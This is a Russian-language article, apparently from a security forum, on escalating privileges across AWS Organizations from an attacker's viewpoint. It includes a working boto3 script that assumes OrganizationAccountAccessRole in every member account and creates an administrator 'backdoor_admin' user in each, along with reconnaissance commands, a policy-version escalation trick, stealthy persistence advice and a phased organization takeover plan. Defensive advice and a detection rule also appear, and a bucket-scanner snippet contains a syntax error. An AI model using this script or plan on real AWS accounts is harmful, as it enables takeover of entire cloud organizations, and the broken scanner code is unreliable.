Статья Эскалация привилегий в AWS Organizations

1768925321934.webp


Мы залезем в такие дебри AWS, куда большинство «архитекторов» в своих накрахмаленных рубашках даже носом не суётся. Они там сверху строят свои «микросервисы» и «бессерверные пайплайны», даже не подозревая, какой фундамент из карт у них под ногами. А фундамент этот - AWS Organizations.

Это подробнейшая карта тех подземных ходов, которые либо станут твоей суперсилой, либо дырой в бюджете и безопасности размером с чёрную дыру. Речь пойдёт об эскалации привилегий через роли в AWS Organizations. Мы не будем читать мантры про «best practices» от самого AWS. Мы посмотрим на это глазами того, кто ищет слабое звено. И найдёт его.

Мы не скользим по поверхности. Мы копаем до ядра.

Ну не работает он у нас, и что? Изучать никто не запрещал

Не Организация, а Королевство с Потайными Дверьми​

Все представляют AWS Organizations как скучный инструмент для централизованного биллинга и раздачи политик. «О, у нас несколько аккаунтов, создадим OU, прикрепим SCP и спишем спокойно». Наивность, граничащая с преступной халатностью.

На деле AWS Organizations - это система управления доверием (trust) для целого королевства аккаунтов. Когда ты создаёшь организацию, ты не просто включаешь опцию в консоли. Ты создаёшь корневой аккаунт управления (management account). Этот аккаунт - император. Он может создавать аккаунты, приглашать существующие, назначать политики SCP (Service Control Policies), которые являются абсолютным вето для всех IAM-политик в дочерних аккаунтах.

Понимаешь силу? IAM-политика в дочернем аккаунте говорит: «Роль X может делать всё, что угодно с EC2». А SCP из организации сверху говорит: «Для всех, кроме аккаунта управления, запрещено использовать EC2». Что будет? Правильно, ничего. SCP - это верхнеуровневый закон. Это последний и решающий барьер перед действием. И вся эскалация привилегий здесь строится на одной простой идее: получить возможность влиять на эти SCP или обойти их, используя доверительные отношения между аккаунтами.

Главный механизм доверия здесь - IAM-роли между аккаунтами. Ты, наверное, знаешь стандартную схему: в аккаунте A создаётся роль Role-to-Account-B, которая доверяет (trusts) аккаунту B. Пользователь из аккаунта B принимает эту роль и работает в аккаунте A. Это база. Но в контексте Organizations появляются особенные, системные роли, которые создаются не тобой, а самой AWS. Они - ключи от задней двери королевства.

Практический инструмент №1: aws organizations list-accounts
Первое, что делает разведчик. Из-под роли, у которой есть права в организации (хотя бы organizations:ListAccounts), выполняешь эту команду. Ты получишь список всех аккаунтов в организации, их ID и статусы. Это карта мира. Без неё ты слеп. Запомни, что для этого нужно быть в аккаунте управления или в роли, которой делегировали такие права через SCP. Часто эти права есть у ролей типа AWSControlTowerExecution, OrganizationAccountAccessRole или кастомных ролей для аудита.

Bash:
aws organizations list-accounts

Вывод - это твой первый целевой список. Каждый аккаунт - потенциальный плацдарм.

Роль​

Когда ты создаёшь новый аккаунт в организации через AWS Organizations (не вручную!), AWS автоматически создаёт в этом новом аккаунте IAM-роль с именем OrganizationAccountAccessRole. Эта роль имеет политику AdministratorAccess, прикреплённую к ней. Да, ты не ослышался. Полный админский доступ.

А доверяет эта роль только корневому аккаунту управления (management account). Идея AWS благая: чтобы центральная команда могла заходить в дочерние аккаунты и настраивать их, если что-то пошло не так.

Вот где собака зарыта. Если злоумышленник получает доступ к корневому аккаунту управления (через скомпрометированный root-email, консольный доступ, или через роль с высокими привилегиями в этом аккаунте), то он мгновенно получает доступ ко всем дочерним аккаунтам через эту роль. Это классическая вертикальная эскалация: от одного аккаунта - ко всем.

Но что ещё интереснее? SCP не применяются к этой роли. Точнее, SCP применяются, но так как роль находится внутри дочернего аккаунта, на неё действует SCP, прикреплённый к этому аккаунту или его родительскому OU. Однако, если в SCP есть явный запрет на принятие роли OrganizationAccountAccessRole извне - это может помешать. Но часто такого запрета нет. А если SCP не запрещает действия sts:AssumeRole для этой роли или вообще никак не ограничивает корневой аккаунт - путь свободен.

Практический инструмент №2: Скрипт автоматического принятия ролей во всех аккаунтах.
Допустим, ты оказался в корневом аккаунте с правами sts:AssumeRole на шаблон arn:aws:iam::*:role/OrganizationAccountAccessRole. Вот тебе на коленке скрипт на Python с boto3, который пройдётся по всем аккаунтам и попробует принять эту роль.

Python:
import boto3
import json

# Инициируем сессию из под имеющихся кредов (предполагается, что они уже есть в окружении или конфиге)
org_client = boto3.client('organizations')
sts_client = boto3.client('sts')

# 1. Получаем список всех аккаунтов
paginator = org_client.get_paginator('list_accounts')
accounts = []
for page in paginator.paginate():
    accounts.extend(page['Accounts'])

print(f"[+] Найдено {len(accounts)} аккаунтов в организации.")

for account in accounts:
    account_id = account['Id']
    account_name = account['Name']
    role_arn = f"arn:aws:iam::{account_id}:role/OrganizationAccountAccessRole"
    
    try:
        # Пробуем принять роль
        assumed_role = sts_client.assume_role(
            RoleArn=role_arn,
            RoleSessionName=f"Invasion_{account_id}"
        )
        
        # Если успешно, создаём клиента для нового аккаунта
        new_credentials = assumed_role['Credentials']
        ec2_client = boto3.client(
            'ec2',
            aws_access_key_id=new_credentials['AccessKeyId'],
            aws_secret_access_key=new_credentials['SecretAccessKey'],
            aws_session_token=new_credentials['SessionToken']
        )
        
        # Простая проверка: список регионов или EC2 инстансов
        regions = ec2_client.describe_regions()['Regions']
        print(f"[SUCCESS] Аккаунт: {account_name} ({account_id}). Успешно принята роль. Доступные регионы: {len(regions)}")
        
        # Здесь можно добавить любые действия: создание backdoor пользователей, проверка ресурсов и т.д.
        # Например, создание нового IAM пользователя с админскими правами:
        iam_client = boto3.client(
            'iam',
            aws_access_key_id=new_credentials['AccessKeyId'],
            aws_secret_access_key=new_credentials['SecretAccessKey'],
            aws_session_token=new_credentials['SessionToken']
        )
        backdoor_user = 'backdoor_admin'
        try:
            iam_client.create_user(UserName=backdoor_user)
            iam_client.attach_user_policy(UserName=backdoor_user, PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
            print(f"    [+] Создан backdoor пользователь '{backdoor_user}' в аккаунте {account_id}")
        except Exception as iam_e:
            print(f"    [-] Не удалось создать пользователя: {iam_e}")
            
    except Exception as e:
        print(f"[-] Не удалось принять роль в аккаунте {account_name} ({account_id}): {e}")

Этот скрипт - грубая сила, но она показывает мощь одного компрометированного аккаунта управления. В реальной операции действия были бы более скрытными.

Защита (наша совесть говорит, что надо и об этом):
  1. Запрети в SCP действие sts:AssumeRole для роли OrganizationAccountAccessRole для всех, кроме строго определённых ролей из аккаунта управления. Это сложно, потому что надо аккуратно написать условие Condition.
  2. Переименуй эту роль. После создания аккаунта через Control Tower или кастомный процесс - удали стандартную роль и создай свою с другим именем. Это security through obscurity, но это усложняет жизнь автоматическим скриптам.
  3. Используй сессионные политики (Session Policies) при принятии роли из аккаунта управления, чтобы ограничить права даже внутри дочернего аккаунта.
  4. Максимально защити корневой аккаунт управления: MFA на root, никаких access keys, доступ только через выделенные IAM-роли с строжайшим контролем.

Сервисные роли для CloudFormation StackSets и им подобные​

Это моя любимая лазейка. Более хитрая, менее очевидная.

AWS CloudFormation StackSets - это способ разворачивать инфраструктуру (стэки) сразу в несколько аккаунтов из одного места - из аккаунта управления Organizations.

Как это работает? При первой настройке StackSets в аккаунте управления ты должен активировать доверие (trust) для AWS CloudFormation в своих целевых аккаунтах. По сути, ты создаёшь в каждом целевом аккаунте сервисную управляемую роль (Service Managed Role) с именем AWSCloudFormationStackSetExecutionRole. А в аккаунте управления создаётся роль AWSCloudFormationStackSetAdministrationRole.

Вот тут детали, от которых зависит всё. Процесс активации доверия может быть:
  • Сервис-управляемым (Service Managed): AWS автоматически создаёт нужные роли во всех аккаунтах организации или выбранных OU. Он использует для этого особую системную роль AWSServiceRoleForCloudFormationStackSetsOrgAdmin, которая создаётся в корневом аккаунте и имеет разрешение organizations:EnableAWSServiceAccess. Эта роль доверяет сервису cloudformation.amazonaws.com. Это легальный механизм AWS.
  • Самоуправляемым (Self Managed): Ты сам создаёшь эти роли вручную в каждом аккаунте.
Где уязвимость?
Представь, что у тебя есть доступ в аккаунт, который не является корневым управляющим, но находится в организации. Например, аккаунт для разработки. В этом аккаунте у тебя есть права на создание IAM-ролей (iam:CreateRole, iam:PutRolePolicy). Или даже просто права на iam:PassRole для какой-то существующей роли.

Ты можешь создать или модифицировать роль, которая будет доверять сервису cloudformation.amazonaws.com. Но не просто так. Ты сделаешь её имитацией роли для StackSets. Например, создашь роль с именем AWSCloudFormationStackSetExecutionRole (или похожим) в своём аккаунте разработки.

Но ключевой трюк - в политике доверия (trust policy) этой роли. Ты укажешь, что она доверяет cloudformation.amazonaws.com, но также добавишь условие (Condition), которое проверяет, откуда пришёл запрос на принятие роли.

JSON:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "cloudformation.amazonaws.com"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": {
          "aws:PrincipalOrgID": "o-xxxxxxxxxxx" // ID твоей организации
        }
      }
    }
  ]
}

А теперь внимание. Создав такую роль, ты можешь инициировать развёртывание StackSet из корневого аккаунта управления? Нет. У тебя нет к нему доступа. Но ты можешь использовать другой сервис, который имеет право принимать роли в других аккаунтах.

Один из классических способов - AWS Resource Access Manager (RAM). Если в организации включён общий ресурс через RAM, и у тебя есть право создавать инвайты или принимать их, можно попробовать связать это с принятием роли. Но это уже сложнее.

Более прямой путь через саму организацию: Если у тебя в аккаунте разработки есть роль с правами organizations:EnableAWSServiceAccess (что маловероятно в правильно настроенной организации, но SCP иногда пропускают), ты можешь дать доступ сервису CloudFormation на уровне организации. Это действие EnableAWSServiceAccess. Если ты это сделаешь, то AWS создаст ту самую системную роль AWSServiceRoleForCloudFormationStackSetsOrgAdmin и начнёт процесс. Но это слишком шумно и быстро обнаружится.

Поэтому вернёмся к роли, которая доверяет cloudformation.amazonaws.com. Как её использовать? Нужно заставить сервис CloudFormation от имени аккаунта управления принять эту роль. Как? Через создание StackSet с самоуправляемыми ролями (Self-Managed) и указанием ARN твоей роли в качестве Execution Role.

Для этого нужно право cloudformation:CreateStackSet в аккаунте управления. У тебя его нет. Замкнутый круг.

Вывод: Прямая атака через подмену ролей StackSets сложна без доступа к аккаунту управления. Но! Это отличный метод персистентности (укоренения). Если ты уже скомпрометировал аккаунт управления и развернул свою инфраструктуру через StackSets, ты можешь оставить backdoor роли в дочерних аккаунтах, которые будут доверять не только , но и, скажем, лямбде из твоего аккаунта. И тогда, даже если тебя вычистят из аккаунта управления, ты сохранишь доступ к дочерним аккаунтам через эти роли.

Практический инструмент №3: Поиск существующих сервисных ролей CloudFormation.
Если ты уже в каком-то аккаунте организации, проверь, нет ли там ролей, связанных с StackSets. Они могут быть мишенью для захвата или подмены политик.

Bash:
# Ищем роли по имени
aws iam list-roles --query "Roles[?contains(RoleName, 'CloudFormation')].RoleName" --output text

# Для найденной роли (например, AWSCloudFormationStackSetExecutionRole) смотрим её политику доверия
aws iam get-role --role-name AWSCloudFormationStackSetExecutionRole --query 'Role.AssumeRolePolicyDocument'

Если в Condition политики доверия ты видишь "aws:PrincipalOrgID": "o-xxxxxxxxxxx", значит роль предназначена для использования из любой сущности в твоей организации, которая представляет сервис CloudFormation. Это важно. Если это условие слишком широкое, или если его нет вообще (доверие только сервису), это может быть использовано, если злоумышленник сможет скомпрометировать сам сервис CloudFormation (что маловероятно) или найти способ подделать исходящий вызов от его имени.

Обход SCP через Сервис-Связанные Роли (Service-Linked Roles, SLR) и Resource-Based Policies​

SCP - мощный инструмент запрета. Но у него есть слепые зоны. SCP не применяется к сервис-связанным ролям (SLR). SLR - это роли, которые привязаны к сервису AWS (например, AWSServiceRoleForAmazonGuardDuty). Они создаются сервисом и управляются им. SCP на них не действует.

Также SCP не применяется к политикам на основе ресурсов (Resource-Based Policies). Например, политика bucket для S3, политика для KMS key или политика доверия для Lambda функции.

Как это использовать для эскалации?

Сценарий 1: Эскалация через S3 Bucket Policy. Допустим, в аккаунте A есть S3 бакет. SCP запрещает всем в аккаунте A делать s3:PutObject. Но политика бакета (bucket policy) разрешает s3:PutObject для пользователя из аккаунта B. Пользователь из аккаунта B сможет загрузить объект в бакет, минуя SCP аккаунта A! Потому что проверка прав работает так: сначала проверяется политика на ресурсе (бакете), потом IAM-политика пользователя, и только потом SCP. Но SCP действует на принципала (пользователя/роль) в аккаунте. Если принципал из другого аккаунта, SCP аккаунта-ресурса на него не распространяется. Он ограничен только SCP своего собственного аккаунта.

Таким образом, если в аккаунте-жертве есть ресурс с политикой, разрешающей доступ извне, ты можешь взаимодействовать с этим ресурсом, даже если SCP в этом аккаунте запрещает такие действия своим внутренним пользователям.

Сценарий 2: Эскалация через Lambda с Resource-Based Policy. Ты можешь создать Lambda функцию в аккаунте-жертве (если SCP не запрещает lambda:CreateFunction). Или найти существующую. Затем ты меняешь политику ресурса (resource-based policy) функции, разрешая вызов (lambda:InvokeFunction) из своего аккаунта злоумышленника. Даже если SCP в аккаунте-жертве запрещает всем внутренним ролям вызывать эту функцию, твой внешний вызов будет разрешён. Более того, если функция имеет роль исполнения (execution role) с высокими привилегиями, ты можешь заставить её выполнить код, который, например, создаст тебе доступ в этом аккаунте.

Практический инструмент №4: Сканирование ресурсов с политиками, разрешающими доступ извне.

Это огромная тема для отдельного разговора, но наброски инструмента для поиска уязвимых S3 бакетов в одном аккаунте:

Python:
import boto3
import json

def check_bucket_policies(session):
    s3_client = session.client('s3')
    s3 = session.resource('s3')
    
    buckets = s3_client.list_buckets()['Buckets']
    
    for bucket in buckets:
        bucket_name = bucket['Name']
        try:
            policy = s3_client.get_bucket_policy(Bucket=bucket_name)
            policy_json = json.loads(policy['Policy'])
            
            # Простейший анализ: ищем Statement с Principal "*" или другого AWS аккаунта
            for statement in policy_json.get('Statement', []):
                principal = statement.get('Principal')
                effect = statement.get('Effect')
                actions = statement.get('Action', [])
                if isinstance(actions, str):
                    actions = [actions]
                
                # Примитивная проверка на опасные разрешения для внешних принципалов
                if effect == 'Allow':
                    if principal == "*":
                        print(f"[!] КРИТИЧЕСКИ! Бакет {bucket_name} имеет политику с Principal '*' для действий {actions}")
                    elif isinstance(principal, dict) and 'AWS' in principal:
                        aws_principal = principal['AWS']
                        if isinstance(aws_principal, str) and aws_principal != session.client('sts').get_caller_identity()['Arn']:
                            print(f"[!] Бакет {bucket_name} разрешает доступ внешнему принципалу {aws_principal} для действий {actions}")
        except s3_client.exceptions.from NoSuchBucketPolicy:
            continue
        except Exception as e:
            print(f"[-] Ошибка при проверке бакета {bucket_name}: {e}")

# Использование в контексте принятой роли в дочернем аккаунте
# assumed_session = boto3.Session(...) с кредами из assumed role
# check_bucket_policies(assumed_session)

Этот код - лишь иллюстрация. В реальном пейнтесте ты бы использовал инструменты вроде Pacu (AWS exploitation framework) или ScoutSuite для комплексного аудита.

1768925339317.webp


Делегирование администратора (Delegated Administrator) для сервисов​

Некоторые AWS сервисы (GuardDuty, Security Hub, AWS Config, IAM Access Analyzer и др.) поддерживают функцию «Делегированный администратор» в рамках Organizations.

Корневой аккаунт управления может назначить другой аккаунт в организации в качестве администратора для этого сервиса. После этого делегированный аккаунт получает право управлять этим сервисом для всей организации.

Задумка: чтобы центральная команда безопасности могла управлять GuardDuty, не имея доступа к корневому аккаунту управления. Логично.

Угроза: если злоумышленник получает контроль над аккаунтом, который является делегированным администратором для важного сервиса, он может злоупотребить этими правами для эскалации.

Пример с GuardDuty: Делегированный администратор может создавать, настраивать и выключать детекторы во всех аккаунтах организации. Он также может настроить S3 Protection или Kubernetes Audit Logs protection. Эти функции требуют, чтобы GuardDuty получил доступ к данным в аккаунтах (например, к CloudTrail logs в S3 или к EKS cluster logs). Для этого GuardDuty автоматически создаёт сервисные роли в тех аккаунтах, где он работает. Эти роли имеют довольно широкие разрешения на чтение.

Теоретически, скомпрометировав аккаунт делегированного администратора GuardDuty, можно попытаться изменить конфигурацию детектора так, чтобы он отправлял данные (логи) в бакет S3, контролируемый злоумышленником. Или подменить роль, которую GuardDuty создаёт в дочерних аккаунтах (это сложно, так как она сервис-управляемая). Прямой эскалации до полного админского доступа здесь может и не быть, но это отличный канал для эксфильтрации данных и дальнейшей разведки.

Более опасный пример - AWS IAM Access Analyzer. Делегированный администратор этого сервиса имеет возможность просматривать политики ресурсов по всей организации и находить ресурсы, доступные извне. Это золотая жила для злоумышленника - карта всех открытых дверей в организации. Сами по себе эти права не дают доступа к ресурсам, но указывают, куда бить.

Практический инструмент №5: Определение делегированных администраторов.

Если у тебя есть доступ в организацию (даже не корневой, но с правами organizations:ListDelegatedAdministrators), ты може узнать, кому делегированы права.

Bash:
# Получить список всех сервисов, для которых есть делегированные администраторы
aws organizations list-delegated-administrators

# Для конкретного сервиса (например, guardduty.amazonaws.com)
aws organizations list-delegated-administrators --service-principal guardduty.amazonaws.com

Зная аккаунт-делегат, ты можешь сфокусировать атаку на него. Если же ты уже в аккаунте-делегате, проверь свои права через iam:ListPolicies и iam:GetPolicyVersion, чтобы понять, какие политики были автоматически созданы сервисом.

Кастомные SCP и Ошибки в Их Логике​

SCP - это JSON-документ, политика. А где политика - там ошибки логики. Написание SCP, которые эффективно ограничивают, но не ломают работу, - это искусство. Часто SCP пишутся по шаблонам из блогов, без глубокого понимания.

Классические ошибки:
  1. Запрет на всё, кроме... (Deny all, Allow some): Часто в SCP используют "Effect": "Deny" с "NotAction" или "NotResource". Это очень коварно, потому что легко ошибиться в логических операторах (StringNotEquals, ArnNotLike). Можно написать условие, которое по факту не запрещает ничего или, наоборот, запрещает всё.
  2. Отсутствие условия для самого аккаунта управления: Многие забывают исключить корневой аккаунт управления из-под действия SCP. Если SCP с Deny на iam:* применён к корневому OU, он может заблокировать и аккаунт управления, отрезав его от управления организацией. AWS защищает некоторые критические действия, но не все.
  3. Конфликтующие SCP на разных уровнях: SCP могут быть прикреплены к разным OU. Итоговый эффект для аккаунта - это разрешение (Allow) всех явных запретов (Deny) со всех уровней. Если на уровне Parent OU есть SCP, запрещающий ec2:TerminateInstances, а на уровне Child OU есть SCP, запрещающий ec2:StopInstances, то аккаунт в Child OU будет иметь оба запрета. Но если на уровне Parent OU есть разрешение (которое в SCP неявно, т.к. SCP только запрещает), оно ничего не отменяет. SCP - это только фильтр Deny. Поэтому нужно внимательно следить за наслоением запретов.
Как использовать для эскалации? Ты не будешь писать SCP. Но ты можешь искать ошибки в существующих SCP, которые позволят тебе сделать что-то, что, по замыслу архитекторов, должно быть запрещено.

Например, SCP запрещает создание IAM-пользователей и ролей (iam:CreateUser, iam:CreateRole), но забывает запретить iam:CreatePolicyVersion. У тебя уже есть роль с правами iam:CreatePolicyVersion и iam:SetDefaultPolicyVersion (например, унаследованными от какого-то сервиса). Ты можешь взять существующую политику с широкими правами (например, политику для чтения S3) и создать новую версию этой политики, где будут права на админский доступ, и сделать её версией по умолчанию. И вуаля - роль, которая раньше только читала S3, теперь может всё. SCP этого не запретил, потому что он смотрит на конечное действие (например, ec2:RunInstances), а не на манипуляции с политиками.

Практический инструмент №6: Анализ SCP и симуляция политик.

У AWS есть инструмент iam:SimulateCustomPolicy или iam:SimulatePrincipalPolicy. Но для SCP напрямую его использовать сложно. Однако, если ты получил доступ к аккаунту управления, ты можешь вытащить все SCP и проанализировать их вручную или с помощью скриптов.

Bash:
# Получить список всех SCP
aws organizations list-policies --filter SERVICE_CONTROL_POLICY

# Для каждого POLICY_ID получить его содержимое и прикрепления
aws organizations describe-policy --policy-id <policy_id>
aws organizations list-targets-for-policy --policy-id <policy_id>

Затем можно построить карту: какие SCP к каким OU/аккаунтам прикреплены, и вручную искать в них логические дыры.

Более продвинутый способ - использовать AWS Access Analyzer policy validation, но он требует настройки.

Путь от одного аккаунта к господству над Организацией​

Давай соберём всё воедино. Представим, что ты - пентестер. Тебе дали низкоуровневый доступ в аккаунт разработки в некой AWS Organization.

Фаза 1: Разведка (изнутри аккаунта).
  1. Определи, что ты в организации: aws organizations describe-organization - если команда не доступна, возможно, у тебя нет прав, но можно попробовать другие методы. Например, посмотреть на ARN своей роли - иногда в названии роли или username есть намёк. Проверить наличие ролей типа AWSCloudFormationStackSetExecutionRole.
  2. Собери информацию о текущем аккаунте: aws sts get-caller-identity, aws iam list-users, aws iam list-roles, посмотреть attached policies. Найди все свои разрешения.
  3. Попробуй выяснить ID организации: Если есть права organizations:DescribeOrganization, получи Id. Если нет, возможно, он «протекает» в политиках доверия ролей или resource-based policies. Например, найди роль с trust policy, где есть условие "aws:PrincipalOrgID": "o-xxxxxxxxxxx" - вот и ID.
  4. Проверь, нет ли у тебя прав organizations:: Попробуй выполнить organizations:ListAccounts, organizations:ListPolicies. Если есть - отлично, у тебя есть карта.
  5. Просканируй S3, Lambda, KMS на предмет политик, разрешающих доступ из других аккаунтов организации (aws:PrincipalOrgID) или конкретно твоего аккаунта. Это может дать точку опоры.
Фаза 2: Горизонтальное движение (внутри организации).
  1. Если нашлись ресурсы в других аккаунтах, доступные тебе через политики, используй их. Например, читай логи CloudTrail из чужого S3 бакета, чтобы найти ключи или токены.
  2. Если у тебя есть права создавать ресурсы с resource-based policies (например, Lambda функцию), создай её и разреши вызов из других своих потенциально скомпрометированных аккаунтов или из аккаунта управления (если знаешь его ID). Это «ловушка».
  3. Проверь, не является ли твой аккаунт делегированным администратором для какого-либо сервиса. Если да, изучи возможности этого сервиса для дальнейшей разведки/эскалации.
Фаза 3: Атака на аккаунт управления.
  1. Цель №1: Получить возможность принимать роль OrganizationAccountAccessRole в других аккаунтах, а в идеале в аккаунте управления. Если в твоём аккаунте есть роль, которая доверяет чему-то из аккаунта управления, это билет.
  2. Цель №2: Скомпрометировать пользователя/роль в аккаунте управления через фишинг, уязвимость в SaaS-панели или иным способом. Это уже не про AWS, а про человека.
  3. Цель №3: Найти ошибку в SCP, которая позволит тебе из твоего аккаунта выполнить действие organizations:AttachPolicy или organizations:DetachPolicy, чтобы отключить SCP для твоего аккаунта, открыв себе свободу действий. Крайне маловероятно при грамотной настройке.
  4. Цель №4: Если ты стал делегированным администратором для сервиса вроде IAM Access Analyzer, используй его, чтобы найти открытые ресурсы в аккаунте управления. Может повезти.
Фаза 4: Господство (от аккаунта управления).
  1. Как только ты в аккаунте управления с достаточными правами, игра окончена.
  2. Через OrganizationAccountAccessRole захватываешь все дочерние аккаунты.
  3. Можешь создавать новые аккаунты для своих нужд.
  4. Можешь отключать или изменять SCP, снимая все ограничения.
  5. Можешь делегировать админские права сервисов на подконтрольные тебе аккаунты, чтобы закрепиться.

Защита (Как не стать жертвой)​

Теперь, когда мы знаем атаки, давай поговорим о защите. Не потому что мы «белые шляпы», а потому что понимание защиты делает тебя лучшим нападающим. И потому что солидарность с читателем обязывает дать и эту сторону.
  1. Минимизируй привилегии корневого аккаунта управления. Root user - только для крайних случаев. Весь доступ - через IAM роли. Для этих IAM-ролей в аккаунте управления должны быть свои строгие SCP, ограничивающие их действия только необходимым минимумом. Да, SCP в аккаунте управления тоже работают на IAM-роли!
  2. Жёстко контролируй доверие роли OrganizationAccountAccessRole. Используй в SCP блокировку sts:AssumeRole для этой роли, кроме строго определённых ролей из аккаунта управления. Или лучше вообще откажись от неё, используя кастомные роли с более узкими правами для доступа в дочерние аккаунты.
  3. Внимательно настраивай SCP. Используй принцип наименьших привилегий. Всегда исключай аккаунт управления из-под действия запрещающих SCP (если это не специальный запрет для всех). Проводи ревью SCP на логические ошибки. Используй инструменты валидации политик.
  4. Мониторь необычную активность. Включи AWS CloudTrail во всех регионах и во всех аккаунтах организации, отправляй логи в центральный S3 бакет или в CloudWatch Logs. Используй AWS Security Hub и GuardDuty с делегированным администратором для централизованного оповещения о подозрительных API-вызовах, особенно: AssumeRole, CreatePolicyVersion, SetDefaultPolicyVersion, PutRolePolicy, PutUserPolicy, AttachRolePolicy, UpdateAssumeRolePolicy, organizations:AttachPolicy, organizations:DetachPolicy.
  5. Регулярно аудитируй resource-based policies. Используй IAM Access Analyzer с делегированным администратором, чтобы находить ресурсы, доступные извне организации или из других аккаунтов внутри неё. Сузь круг доверия.
  6. Контролируй делегирование админских прав. Назначай делегированным администратором только доверенные, хорошо защищённые аккаунты. Минимизируй количество таких аккаунтов.
  7. Используй сессионные политики (Session Policies) и граничные политики (Permissions Boundaries) для всех ролей, особенно тех, что используются для межаккаунтового доступа. Это создаёт дополнительный, неубираемый слой ограничений.
  8. Рассмотри возможность использования AWS Control Tower. Он предоставляет готовый, относительно безопасный landing zone с предопределёнными SCP и процессами. Хотя и его нужно правильно настраивать и понимать, что под капотом.
Практический инструмент №7: Конфигурация мониторинга для ключевых событий.

Пример CloudWatch Events Rule (ныне EventBridge) для поимки подозрительного AssumeRole в аккаунте управления:

JSON:
{
  "source": ["aws.sts"],
  "detail-type": ["AWS API Call via CloudTrail"],
  "detail": {
    "eventSource": ["sts.amazonaws.com"],
    "eventName": ["AssumeRole"],
    "requestParameters": {
      "roleArn": [{"prefix": "arn:aws:iam::"}]
    },
    "responseElements": {
      "assumedRoleUser": {
        "arn": [{"prefix": "arn:aws:sts::"}]
      }
    }
  }
}

Но это очень общее правило. Лучше настраивать конкретные алерты через GuardDuty или Security Hub, которые имеют встроенные детективы для подобных вещей.

Эпилог​

Мы прошли долгий путь, брат. Не просто перечислили угрозы, а вскрыли механику. Теперь давай отойдём от конкретных команд и политик. Давай поговорим о самом важном - о мировоззрении, которое превращает эту информацию из набора фактов в твоё личное преимущество.

AWS Organizations - это не просто сервис. Это кристаллизация архитектурной философии AWS. Их видение того, как должны строиться большие, сложные, многоаккаунтовые среды. Это видение строится на трёх китах: декомпозиция (аккаунты как сильные периметры), централизованное управление (SCP, биллинг) и делегирование (сервисные роли, делегированные администраторы).

Проблема в том, что 95% тех, кто это внедряет, видят только верхушку айсберга - декомпозицию и биллинг. Они радуются: «Ура, у нас теперь много аккаунтов, и за каждый платит одна карта!». Они набрасывают сверху несколько шаблонных SCP из документации AWS, запрещающих вызов root и работу с некоторыми регионами. И думают, что они в безопасности. Они ошибаются катастрофически.

Потому что они не видят два других кита. Централизованное управление - это не только «запретить». Это сложнейшая сеть доверительных отношений, где корневой аккаунт - это божество, способное создавать миры и диктовать в них законы. А делегирование - это не удобная кнопка «дать админу Security Hub». Это создание новых, потенциально уязвимых, центров силы внутри вашего же королевства.

Тот, кто понимает Organizations по-настоящему, видит не статичную картинку из консоли. Он видит динамическую систему доверия, находящуюся в постоянном, хоть и медленном, движении. Каждое включение сервиса, каждое новое приглашение аккаунта, каждая правка SCP - это изменение в топологии доверия. Новый вектор атаки. Новая потенциальная брешь.

Почему это так сложно защищать?​

Потому что защита требует системного, а не точечного мышления.
  • Точечное мышление: «Запретим в SCP действие ec2:TerminateInstances для продакшена». Отлично. А что с ssm:SendCommand, который может остановить инстанс через Run Command? А что с правами iam:PassRole для роли, которая уже имеет это разрешение? А что с ресурсными политиками на самом инстансе?
  • Системное мышление: «Нам нужно гарантировать доступность инстансов в продакшене. Для этого мы должны проанализировать все возможные способы влияния на состояние EC2 инстанса (stop, terminate, reboot, modify attribute) как через прямые API-вызовы, так и через смежные сервисы (SSM, Lambda, Auto Scaling). Затем мы должны построить модель доверия: какие сущности (пользователи, роли, сервисы) в каких аккаунтах могут инициировать эти действия. И наконец, наложить на эту модель контрольные точки: SCP для базовых запретов, строгие Permissions Boundaries для межаккаунтовых ролей, сессионные политики, мониторинг всех попыток (успешных и нет) выполнения этих действий».
Второй путь - это работа. Это адский труд. И его почти никто не делает.

Поэтому парадокс: самые сильные механизмы безопасности AWS (Organizations, SCP) в руках большинства команд создают ложное чувство защищённости и маскируют фундаментальные дыры.

Ты, читающий это, теперь не принадлежишь к этому большинству. Ты знаешь, что:
  1. SCP - это не волшебная палочка. Это последний рубеж, который часто можно обойти через доверительные отношения между аккаунтами и политики на ресурсах.
  2. Роль OrganizationAccountAccessRole - это не удобство, а риск №1. Это шоссе от одного скомпрометированного аккаунта управления ко всей империи.
  3. Делегирование - это не только про удобство, но и про распределение уязвимости. Каждый делегированный администратор - это новый фрагмент короны, который можно попытаться похитить.
  4. Вся мощь IAM рушится перед одной оплошностью в политике доверия (trust policy) или ресурсной политике. Поиск таких оплошностей - ключ к горизонтальному перемещению.

К чему это обязывает тебя?​

Если ты защитник (синяя команда, архитектор безопасности, ответственный инженер):
Твоя миссия - мыслить как архитектор угроз. Теперь ты знаешь их карту. Твоя работа:
  • Провести инвентаризацию доверия. Вытащить все межаккаунтовые роли, все ресурсные политики, все делегирования. Визуализировать эту паутину. Инструменты: AWS Access Analyzer, собственные скрипты на boto3, коммерческие CSPM (Cloud Security Posture Management) системы.
  • Применить принцип наименьшей привилегии не к пользователям, а к отношениям доверия. Каждое AssumeRole, каждая запись в Principal ресурсной политики должны быть оправданы и максимально сужены (через Condition).
  • Построить многоуровневую защиту. SCP - это только один слой. Под ним должны быть Permissions Boundaries для ролей. Под ними - сессионные политики для критичных операций. И всё это в совокупности должно логироваться и мониториться.
  • Регулярно проводить упражнения «красной команды» именно по сценариям эскалации через Organizations. Попробуй из аккаунта «разработки» с умеренными правами добраться до «продакшена» или до аккаунта управления. Не получится? Отлично. Получится? Бесценная находка.
Если ты исследователь (красная команда, пентестер, хаер с любопытством):
Твоё преимущество - в понимании системности. Ты больше не будешь бездумно запускать Pacu и радоваться найденным S3 бакетам. Ты будешь:
  • Искать контекст. Первым делом - понять, в организации ли ты. Узнать её ID. Понять место своего аккаунта в иерархии.
  • Составлять карту. Не только ресурсов, но и отношений доверия. Какие роли здесь доверяют внешним принципалам? Каким внешним аккаунтам доверяют наши ресурсы?
  • Думать на несколько шагов вперёд. «У меня есть право создавать Lambda. Я могу создать функцию с широкой исполнительной ролью. Но SCP запрещает ей выходить в интернет. Могу ли я через ресурсную политику разрешить вызов этой функции из аккаунта управления, где SCP другие, и таким образом передать данные?»
  • Ценить тишину. Самые эффективные атаки на Organizations - это не DeleteBucket или TerminateInstances. Это CreatePolicyVersion, UpdateAssumeRolePolicy, AttachRolePolicy. Тихие, малозаметные действия, меняющие саму структуру доверия, чтобы завтра, через неделю или месяц, получить доступ, когда это будет нужно.

Финал​

